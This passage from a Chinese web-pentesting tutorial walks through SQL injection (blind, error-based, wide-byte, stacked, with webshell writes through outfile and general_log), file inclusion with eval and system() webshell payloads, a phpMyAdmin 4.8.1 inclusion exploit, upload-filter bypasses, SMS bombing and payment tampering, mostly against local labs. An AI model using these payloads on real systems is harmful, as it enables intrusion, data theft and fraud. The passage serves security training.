http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) --+

4.6盲注

布尔盲注
http://127.0.0.1/sql/Less-5/?id=1' and 1=1 --+

http://127.0.0.1/sql/Less-5/?id=1' and 1=2 --+

可以看到语句正确返回正常页面,语句错误返回错误页面
盲注一般用到的一些函数:ascii() 、substr() 、length(),exists()、concat()等
1.判断数据库类型
我们可以根据数据库的不同特征来判断
mysql->information_schema.tables
access->msysobjects
SQLServer->sysobjects
oracle->select count() from dual
判断是否是 Mysql数据库
http://127.0.0.1/sql/Less-5/?id=1' and exists(select
from information_schema.tables) #
判断是否是 access数据库
http://127.0.0.1/sql/Less-5/?id=1' and exists(selectfrom msysobjects) #
判断是否是 Sqlserver数据库
http://127.0.0.1/sql/Less-5/?id=1' and exists(select
from sysobjects) #
判断是否是Oracle数据库
http://127.0.0.1/sql/Less-5/?id=1' and (select count(*) from dual)>0 #

2.判断数据库长度
二分法:
http://127.0.0.1/sql/Less-5/?id=1' and length(database())>8 --+ 错误
http://127.0.0.1/sql/Less-5/?id=1' and length(database())=8 --+ 正确
3.判断每个字符
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+
逐渐测试
4.判断表
http://127.0.0.1/sql/Less-5/?id=1' and exists(select*from users) --+ 判断是否存在users表
http://127.0.0.1/sql/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ 可以知道第一个表长度为6,逐渐猜测
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ 判断表名

5.判断列
假如这里我们已经确定了users表
http://127.0.0.1/sql/Less-5/?id=1' and exists(select username from users) --+ 判断是否存在username字段
http://127.0.0.1/sql/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ 判断字段数量
http://127.0.0.1/sql/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2 --+ 判断字段长度
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ 判断字段名
由此可以判断出id,username,password字段

6.查询数据
http://127.0.0.1/sql/Less-5/?id=1' and length((select username from users limit 0,1))>3 --+ 判断第一个数据长度
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+ 查询第一个数据

利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。
优点:不需要显示位,不需要出错信息。
缺点:速度慢,耗费大量时间
sleep 函数判断页面响应时间
if(判断条件,为true时执行,为false时执行)
mysql> select * from users where id=1 and sleep(5);
Empty set (5.00 sec)
mysql> select * from users where id=1 and if(ascii(substring(database(),1,1))<100,1,sleep(5));
Empty set (5.00 sec)
mysql> select * from users where id=1 and if(ascii(substring(database(),1,1))>100,1,sleep(5));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
正则表达式
参考:https://www.cnblogs.com/lcamry/articles/5717442.html
已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头

^[a-z]  -->  ^u ;

判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^u[a-z] --> ^us ; 就这样,一步一步判断第一个表的表名 ^users$ 。然后 limit 1,1 判断第二个表
mysql> select 1 from information_schema.tables where table_schema='security' and table_name regexp '^user' limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select 1 from information_schema.tables where table_schema='security' and table_name regexp '^user$' limit 0,1;
Empty set (0.00 sec)

4.7insert,delete,update注入

这类最好手工,如果用sqlmap等会产生大量数据,如果是delete可能导致正常数据被删除
insert
1.报错
mysql> insert into users (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
delete
此函数很危险,还是算了,方法同理
mysql> delete from users where id =-1 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
update
mysql> update users set username="test"+updatexml(1,concat(0x7e,(select user()),0x7e),1)+"" where id=1;
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

4.8 宽字节注入

宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。
addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠()
NULL
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:
x00, , ,,',",x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

魔术引号:当打开时,所有的单引号’ 、双引号" 、反斜杠 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes() 函数的作用完全相同。所以,如果魔术引号打开了,就不要使用 addslashes() 函数了。一共有三个魔术引号指令。

magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。如果 magic_quotes_gpc 关闭时返回 0,开启时返回 1。在 PHP 5.4.0 起将始终返回 0,因为这个魔术引号功能已经从 PHP 中移除了。
magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase (魔术引号开关)如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。

可以在php.ini中查看

1.没使用宽字节
%27 -> %5C%27
2. 使用用宽字节
%df%27 -> %df%5c%27 -> 運'
在我们输入单引号时 addslashes() 或者get_magic_quotes_gpc 给我们的单引号加入了转义字符 就变成了'
我们输入经过转换后由于编码的不同把%df%5c 转换为了一个汉字。
这里我们可以看到33关

http://127.0.0.1/sql/Less-33/?id=-1�' union select 1,user(),3 --+

修复方案
将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制
当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary");

4.9 读写文件

MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么我们就不能导出文件,所以前提是无
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)

读文件:load_file
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,load_file("D:1.txt") --+

这里也支持hex编码
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,load_file(0x443A5C5C312E747874) --+

写文件
写文件我们一般用到 dumpfile与outfile 她们其实是有区别
outfile 会在行末写入新行,而且会转义换行符
dumpfile 能导出一个完整的文件,不会有任何转义 所以我们udf提取一般用的dumpfile
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,"" into outfile "G:phpstudyPHPTutorialWWWphpinfo.php" --+


这里就还可以通过日志拿shell
mysql> set global general_log=on;
Query OK, 0 rows affected (0.19 sec)

mysql> set global general_log_file='G:phpstudyPHPTutorialWWWstyle.php';
Query OK, 0 rows affected (0.04 sec)

mysql> select '';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''])?>'' at line 1
mysql>
成功连接

4.10 堆叠注入

mysql是支持堆叠查询的用; 分割语句,但是php原生的连接方式不支持,但是使用 PDO,mysqli_multi_query()等等是支持多语句的,在我们使用堆叠查询的时候基本是没有回显的,而且其实很难遇到这种环境。
在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database user;服务器端生成的sql语句为:Select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除

这里就可以组合前面日志写shell,这里就利用到38关
http://127.0.0.1/sql/Less-38/?id=1';set global general_log=on;set global general_log_file='G:phpstudyPHPTutorialWWWstyle2.php'; --+

http://127.0.0.1/sql/Less-38/?id=1';select '' --+

4.11 二次注入

二次注入需要具备的两个条件:
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户
在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。


这里我们测试24关,我们以知本地存在admin账户密码也为admin
这里注册一个admin'# 123456的账户


登录后修改密码为hacked


再来查看密码

可以看到admin用户密码改为了hacked,而admin'#没有变
来到修改密码的php文件

可以看到其实我们语句变成了
where username = 'admin'#'了,admin'#闭合了前面的',所以带入了就为admin账户
二次注入在没有源码的情况比较难发现,通常见于注册

4.12 user-agent注入

来到18关,当我们登录成功就会显示ua头
Your IP ADDRESS is: 127.0.0.1
INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', '127.0.0.1', 'admin1')
我们修改ua头为
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0' and updatexml(0x7e,(select user()),0x7e)and '1'='1

4.13 Cookie注入

来到20关,可以看到没有做任何过滤


抓包修改uname值
修改cookie:
Cookie: uname=admin1' and updatexml(0x7e,(select user()),0x7e)#; think_template=default; PHPSESSID=iodiqg814d1ct6lf1daidt9n86

4.14 绕过注入过滤

1.过滤空格
$id = preg_replace('/[s]/',"",$id); ///过滤 空格 %20
/**/绕过 --tamper=space2comment.py绕过
当MySQL数据库版本大于等于5.55.55时,可以使用内联注释(/!/)
http://127.0.0.1/sqlblack.php?id=-1/!union//!select/1,@@version,3
Sqlmap中关于内联注释的脚本:versionedmorekeywords.py 和 halfversionedmorekeywords.py
2.过滤关键字
function blacklist($id)
{
$id = preg_replace('/[s]/',"",$id); //过滤 空格 %20
$id = preg_replace('/or/',"",$id); //过滤 or
$id = preg_replace('/and/',"",$id); //过滤 and
$id = preg_replace('/union/',"",$id); //过滤 union
$id = preg_replace('/by/',"",$id); //过滤 by
$id = preg_replace('/select/',"",$id); //过滤 select
$id = preg_replace('/from/',"",$id); //过滤 from
$id = preg_replace('/floor/',"",$id); //过滤 floor
$id = preg_replace('/concat/',"",$id); //过滤 concat
$id = preg_replace('/count/',"",$id); //过滤 count
$id = preg_replace('/rand/',"",$id); //过滤 rand
$id = preg_replace('/group by/',"",$id); //过滤 group by
$id = preg_replace('/substr/',"",$id); //过滤 substr
$id = preg_replace('/ascii/',"",$id); //过滤 ascii
$id = preg_replace('/mid/',"",$id); //过滤 mid
$id = preg_replace('/like/',"",$id); //过滤 like
$id = preg_replace('/sleep/',"",$id); //过滤 sleep
$id = preg_replace('/when/',"",$id); //过滤 when
$id = preg_replace('/order/',"",$id); //过滤 order
return $id;
}

这里虽然过滤了关键字但是对大小写有区分
http://127.0.0.1/sqlblack.php?id=-1/!UNIOn//!SEleCt/1,@@version,3
sqlmap 中也有专门的随机大小写的绕过脚本 randomcase.py ,该脚本针对所有类型数据库都可用。

3.不区分大小写过滤了SQL关键词
$id = preg_replace('/[s]/',"",$id); //过滤 空格 %20
$id = preg_replace('/or/i',"",$id); //过滤 or
$id = preg_replace('/and/i',"",$id); //过滤 and
$id = preg_replace('/union/i',"",$id); //过滤 union
$id = preg_replace('/by/i',"",$id); //过滤 by
$id = preg_replace('/select/i',"",$id); //过滤 select
$id = preg_replace('/from/i',"",$id); //过滤 from
$id = preg_replace('/floor/i',"",$id); //过滤 floor
$id = preg_replace('/count/i',"",$id); //过滤 count
$id = preg_replace('/rand/i',"",$id); //过滤 rand
$id = preg_replace('/group by/i',"",$id); //过滤 group by
$id = preg_replace('/substr/i',"",$id); //过滤 substr
$id = preg_replace('/ascii/i',"",$id); //过滤 ascii
$id = preg_replace('/mid/i',"",$id); //过滤 mid
$id = preg_replace('/like/i',"",$id); //过滤 like
$id = preg_replace('/sleep/i',"",$id); //过滤 sleep
$id = preg_replace('/when/i',"",$id); //过滤 when
$id = preg_replace('/order/i',"",$id); //过滤 order
return $id;
双写绕过
http://127.0.0.1/sqlblack.php?id=-1/!UNunionIOn//!SEselectleCt/1,@@version,3
可以看到没有过滤updatexml
http://127.0.0.1/sqlblack.php?id=1//%26%26//updatexml(1,concat(0x7e,(select user()),0x7e),1)

4.过滤了引号
可以使用16进制编码,但是中文不行
mysql> select * from users where username='test';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where username=0x74657374;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
也可以使用ascii编码
mysql> select * from users where username=concat(char(116),char(101),char(115),char(116));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
过滤了 or and xor not
and用 && 代替 ;or用 || 代替 ; xor用 | 代替 ; not用 ! 代替
过滤了=
使用 like、rlike、regexp
like:就是等于的意思
rlike:就是里面含有这个
regexp:和rlike一样,里面含有即可
如果是判断是否等于,可以转换为是否大于小于,于是可以用 > < 来绕

4.15 代码审计

这里我们看到熊海cms
/admin/files/login.php

user=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) -- +&password=admin11&login=yes

/files/content.php
可以看到前面虽然过滤了引号但是后面就没有过滤了

http://127.0.0.1/cms/xhcms/?r=content&cid=16 and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

0x05 任意文件包含

5.1 漏洞概述

攻击者利用包含特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含(包含得文件会被当成脚本文件来解析)
文件包含分为本地和远程文件包含(需要allow_url_include=On),本地文件包含LFI,远程文件包含RFI
为什么需要包含文件?比如后台页面如果不严重是否登录才能访问就会出现未授权,越权访问,所以都需要验证是否登录,但是是否是每个页面都需要写入验证代码?这样代码量就会很大,所以只需要写一个然后包含就行了。文件包含了不管任何后缀都会当成php代码执行
文件包含本不属于漏洞,但是任意文件包含,我们可控就是属于漏洞
本地包含:保本服务器上的资源
远程包含:通过http协议包含其他地方的资源
include:使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并且读取,当引用的文件发生错误时,系统只会给出个警告,而整个php代码会继续执行
require:在php文件被执行之前,就先去把被包含文件内容提取出来然后整合成新的php一齐执行
include_once|require_once:加不加都差不多,如果这个文件被包含过一次了,就不会重复包含了
这里写一个包含代码

include.php
<?php
$filename = $_GET['filename'];
include($filename);
?>

1.txt

<?php eval($_POST['cmd']);?>

直接当php代码执行了


有限制本地包含

<?php
$filename = $_GET['filename'];
include($filename.".html")
?>

长度截断:条件:windows,点号需要长于256;linux 长于4096

远程文件包含
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

无限制远程包含
http://127.0.0.1/baohan/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png

有限制远程包含

<?php include($_GET['filename'] . ".html"); ?>
filename=http://127.0.0.1/baohan/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png?
filename=http://127.0.0.1/baohan/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%23
filename=http://127.0.0.1/baohan/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%20

伪协议包含

https://www.cnblogs.com/endust/p/11804767.html
php://filter php://input

Payload:

?filename=php://filter/convert.base64-encode/resource=index.txt
?filename=php://input post

http://127.0.0.1/baohan/include.php?filename=php://input
post:

<?php system('whoami');?>

http://127.0.0.1/baohan/include.php?filename=php://input
post:

<?php file_put_contents('shell.php','<?php phpinfo();?>');?>

5.2 phpmyadmin4.8.1

这里先来看下cd的一些规则

靶场环境:
phpmyadmin 4.8.1(web端的数据库管理软件)

1.target不能为空
2.判断target是否为字符串
3.target不能包含index
来到checkPageValidity函数
这里我们就来看返回return的条件

判断了是否存在白名单,不存在就赋值,然后判断了是否存在target和是否为字符串,不是就返回false
,然后判断target是否在白名单里面我们肯定是不去包含白名单文件的所以继续往下看

这里可以看到截取我们的文件名,然后返回true,所以db_sql.php?/../1.txt就可以绕过但是我们知道include里面是不能存在?的

然后继续往下看

可以看到进行了一次编码,问题就在这里,本身浏览器会自动解码一次然后这里就是二次解码,所以我们可以把?改为%253f=>%3f=>?就传递给了这里$_page就为$_page=db_sql.php?/../1.txt,然后再添加?
$_page=db_sql.php?/../1.txt?但是还是之驱除db_sql.php所以返回true,这样几个条件就都满足了,这里payload就为?target=$_page=db_sql.php%253f/../1.txt这里包含就为
include $_REQUEST['target'];等价于include(db_sql.php%253f/../1.txt);在这里就只会解码一次就不会解析为?了,所以绕过

但是有些时候我们不能上传文件怎么办,其实我们看到这些库,其实就在本地的data目录下

比如admin库下存在users表

然后看到目录下面,也存在一些文件,在.frm文件里面存在数据字段名


于是我们可以创建一个test数据库,test表,写入一句话

我们在本地的test.frm文件内容就存在我们的一句话

我们再来连接它
http://127.0.0.1/cms/phpmyadmin4.8.1/index.php?target=db_sql.php%3f/../../../../../../../phpstudy/PHPTutorial/MySQL/data/test/test.frm&cmd=phpinfo();

但是我们如果取连接是不行的,因为前提是登录,所以就可以利用file_put_contents
http://127.0.0.1/cms/phpmyadmin4.8.1/index.php?target=db_sql.php%3f/../../../../../../../phpstudy/PHPTutorial/MySQL/data/test/test.frm&cmd=file_put_contents('666.php','');
这样就可以成功连接了

5.3 熊海cms

这里看到index.php

可以看到明显存在文件包含

0x06 逻辑漏洞

6.1 验证码绕过、密码找回,注册漏洞

验证码的作用:
网站上的验证码的作用是保护网站安全,一般网站都要通过验证码来防止机器大规模注册,机器暴力破解数据密码等危害。

手机的短信和语音验证码是要确定这个手机是用户自己的。

其实最后都是为了验证,这个操作是个人在做而不是机器,证明我是我的过程
比如说我们有个注册的地方没有验证码可以使用bp无限发包
https://www.freebuf.com/articles/web/195837.html

验证码绕过:
1.脚本(机器学习)
2.逻辑

验证码绕过的常见姿势:验证码可重用,验证码在客户端验证,验证码可以识别,空验证码绕过,是否校验客户端可控,错误超过一定次数才开启验证,验证码数量有限,验证码可以推测
验证码可重用
在很多网站,存在图形验证码功能失效的问题,也就是说当第一次输入正确的图形验证码提交后,我不刷新该页面,之后该验证码还有用。

那么,我们如何判断该页面的图形验证码功能是否失效呢?

我们先输入正确的图形验证码和信息后,点击提交。用burpsuite抓包,查看返回的数据。然后我们重放,查看服务器返回的数据。如果第二次重放,服务器返回的是验证码错误的话,那么说明就不存在绕过图形验证码的可能性了。如果返回的数据和第一次登陆成功时相同的数据,那么该验证码就存在绕过了。
验证码在客户端验证
前端验证码,并没有后端验证,直接抓包然后跑数据包,就可以看到
前端验证=没有验证
验证码设置了但是没有校验,乱输也可以
验证码空值绕过,比如我们抓包内容为&username=123&password=123&s=xxx,这里s就是验证码的值骂我们直接删除就可以绕过
$username=$_REQUEST['username'];
$pass=$_REQUEST['pass'];
if($_REQUEST['yzm']){判断是否正确}else{}
这里其实就一个空值绕过的典范
验证码可以控制,比如他的验证码是包含在url里面的,是url传参
https://www.uedbox.com/post/29913/

验证码有规则,比如说是当前时间

万能验证码,验证码无论是什么输入000000就可以过

验证码有时候会在cookie里面

基于session的验证码,你同一个session登录多次才会出现。这里修改session达到不会出现验证码
https://www.uedbox.com/post/22043/
基于ip https://www.uedbox.com/post/28442/
基于用户,爆破用户名

密码找回
一般有两种,第一种就往你的邮箱或者手机发送验证码,通过这样的方法来判断是否是本人
第二种,通过发送重置链接

验证码返回给客户端,业务流程缺陷,验证码无时间间隔限制,验证码可爆破,验证码在客户端生成

1.验证码前端返回
https://www.uedbox.com/post/13890/
2.验证码无限次数限制可以爆破
https://www.uedbox.com/post/15675/
3.验证码可控
https://www.uedbox.com/post/26992/
4.直接修改密码页面
https://www.uedbox.com/post/35739/
5.越权,自己验证码修改他人密码
https://www.uedbox.com/post/24098/
https://www.uedbox.com/post/42136/

6.2 靶机演示

这里用到了pikachu
1.基于表单的暴力破解
查看长度


2.验证码绕过(on server)
这里虽然有验证码但是验证码可以不会失效

3.验证码绕过(on client)
这个是通过js验证,抓包直接删除

放包

6.3 phpcmsv9.5.9

先配置一下后台
设置->邮箱设置

这里我们打开邮箱->设置->账户然后在开启就可以了

我们注册两个账户

yicunyiye1和yicunyiye2

密码都为123456


我们点击忘记密码,输入yicunyiye1

获取邮箱

我们获取到验证码然后返回修改yicunyiye2


我们来登录yicunyiye2

登录成功

6.4 实战案例

一个是任意用户注册

抓包

可以看到这里参数为n,改为y,放包

可以看到注册成功

第二个是任意手机号修改,同样是该网站、

验证码随便输入
抓包

同样改为y
可以看到修改成功

6.5 短信轰炸

邮箱加空格绕过,邮箱大小写绕过,手机号+86绕过,手机号加空格绕过,bp重放绕过,删除cookie绕过,修改cookie字段绕过,不断在手机号后面添加空格绕过,加 绕过

6.6 支付漏洞

快捷支付原理:商户网站接入支付结果有两种方式1.浏览器跳转(不可靠)2. 服务器端异步通知(常见)
支付漏洞:属于逻辑漏洞,挖这类漏洞有发散思维,往往有事半功倍的后果。

浏览器跳转:
基于用户访问的浏览器,如果用户在银行页面支付成功后,直接关闭了页面,并未等待银行跳转到支付结果页面,那么商户网站就收不到支付结果的通知,导致支付结果难以处理。而且浏览器端数据很容易被篡改而降低安全性

服务器端异步通知:
该方式是支付公司服务器后台直接向用户指定的异步通知url发送参数,采用post或get的方式。商户网站接收异步参数的url的对应程序中,要对支付公司返回的支付结果进行签名验证,成功后进行支付逻辑处理,要验证金额,订单信息是否与发起支付时一致,验证正常则对订单进行状态处理或为用户进行网站内入账等

1.修改支付价格
在支付当中,购买商品一般分为三步骤:订购、确认信息、付款。

你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验,那么问题就会存在,其修改的金额值你可以尝试小数目或者尝试负数。
https://www.uedbox.com/post/13386/
https://www.uedbox.com/post/13389/
2.修改购买数量
我们可以添加多个商品,然后修改count数量,用商品之差相抵,减少费用
https://www.uedbox.com/post/22053/
参考https://www.secpulse.com/archives/67080.html
https://www.cnblogs.com/yufusec/p/9165661.html

6.7 支付漏洞实例

我们添加购物车

结算填写信息

提交订单抓包

修改为1

修改数量,把49的数量改为1,就是79-49 = 30


支付为30

0x07 上传漏洞

7.1 漏洞概述

文件上传是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
什么是webshell?
简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
webshell(网页会话)=>你获取了网站的权限=>1.网站后台权限2.后端代码执行权限(你可以执行任意后端代码)
比如我们的一句话木马,后端代码可以操作数据库,可以操作cmd,比你在后台权限大很多,system(“net user”);
文件上传漏洞条件:
上传的文件能被Web服务器当做脚本来执行
我们能够访问到上传文件的路径
比如说我们的php代码被当作txt那就无法执行我们的恶意代码,其次就是要能够访问才能执行

经常有人问,我上传图片马,为什么执行不了,jpg文件只能被当作jpg文件执行,浏览器不具备把它当作php来执行

7.2 靶机演示

这里就用upload-labs
第一关:前端验证(前端代码就是在浏览器上执行)
文件的后缀决定了文件的类型
来到第一关可以看到是通过js判断文件后缀,只要是前端校验就是没有校验

上传jpg,抓包修改后缀为php

第二关:后端检测Content-Type类型,抓包修改Content-Type进行绕过
Content-Type(内容类型),一般是指网页中存在的 Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,这就是经常看到一些 PHP 网页点击的结果却是下载一个文件或一张图片的原因。

Content-Type 标头告诉客户端实际返回的内容的内容类型
常见的其他类型
https://www.runoob.com/http/http-content-type.html
可以看到,他只允许了指定的类型,我们抓包就该就可以了

上传成功

第三关:后端黑名单限制,禁止上传asp、aspx、php、jsp后缀的文件,但是可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht

但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

重启服务器

第四关:上传.htaccess文件绕过
htaccess文件生效前提条件为1.mod_rewrite模块开启。2.AllowOverride All
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

构造.htaccess文件,内容如下:AddType application/x-httpd-php .jpg
这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析,因此达到了可执行的效果。所以我们可以把要上传的php文件的后缀名改为.jpg格式从而绕过

我们先上传.htaccess文件,然后直接上传jpg

解析为php文件

第五关:黑名单验证,.user.ini.可以看到全部过滤了

提示说存在readme.php

先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件,然后再上传一个内容为php的一句话的脚本,命名为1.gif,.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。

访问readme.php

第六关:黑名单验证,大小写绕过

虽然限制了后缀,但是没有对大小写过滤,改为PHP绕过

第七关:黑名单验证,空格绕过
Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点
此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个.php[空格]文件即可
去除了对文件后缀名的空格过滤,选择后缀为.php的一句话上传,抓包后在后面增加空格,成功绕过。

第八关:黑名单验证,点号绕过
我们在windows里面添加一个.是可以忽略的

所以这里抓包修改为php.绕过

第九关:黑名单验证,特殊字符::$DATA绕过
::$DATA(Windows文件流绕过) (这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。)
简单讲就是在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。
echo 123 > 1.txt 可以看到生成一个1.txt内容为123


但是当我们执行echo 123 > 1.txt:2.txt可以看到1.txt大小为0k

但是当我们执行notepad 1.txt:2.txt却可以看到内容

这就是文件流,就类似与寄生虫一样,但是windows只检测得到前面
但是我们执行echo 123 > 1.txt::$DATA就存在内容,其实我们输入echo 123 > 1.txt默认自动给我们加上后面的

但是在php字符串检测我们shell.php和shell.php::$DATA是不一样的,但是落地其实是等价的
所以我们可以上传shell.php::$DATA绕过



第十关:黑名单

先删除一个.如果我们然后再次判断了结尾是否为.,strrchr函数返回.后面的内容,可以看到下面如果不存在$file_ext就不会执行所以.后面不能为空也就是说不能以.结尾所以说两个.就会删除一个然后再判断如果结尾还是.就失败,但是我们可以.空格.来绕过这样去除了末尾点但是还为点空格就绕过了第二个然后转为小写,再去除末尾空格就还是为shell.php.成功绕过

抓包修改



第十一关:黑名单验证,双写绕过

str_ireplace就是替换,第一个参数是要查找的值,第二个是要替换成空,第三个是被搜索的字符串
所以只要$file_name里面出现了这些php等后缀直接替换为空,所以不管你是不是还有点,空格等等

但是如果我们的后缀为phphpp他就会删除php,这里phphpp就自动组合为php了

第十二关:00截断

我们可以看到这里文件路径是我们位置加/加随机数日期的,所以我们可以在upload/后面加1.php%00,这样就是/upload/1.php%00/123123.jpg
截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
写入%00



文件上传=>上传缓存目录=>php代码指导移动到指定地方+重命名
缓存目录是不会解析文件的,可能在tmp目录,apache这些目录里面

over代表我说话说完了 => 结束符00

第十三关:00截断二

可以看到这里由get到post传参了,我们知道get是会经过url编码,这里%00的%其实就是url编码00就是16进制

我们可以一样再后面加上%00然后进行url编码

也可以再hex这里改为00,在后面添加一个a因为我们知道a是61,然后改为00

第十四关:图片马
这里准备一个1.jpg和一个1.txt,然后压缩1.txt为1.zip,1.txt内容为123,然后我们使用命令
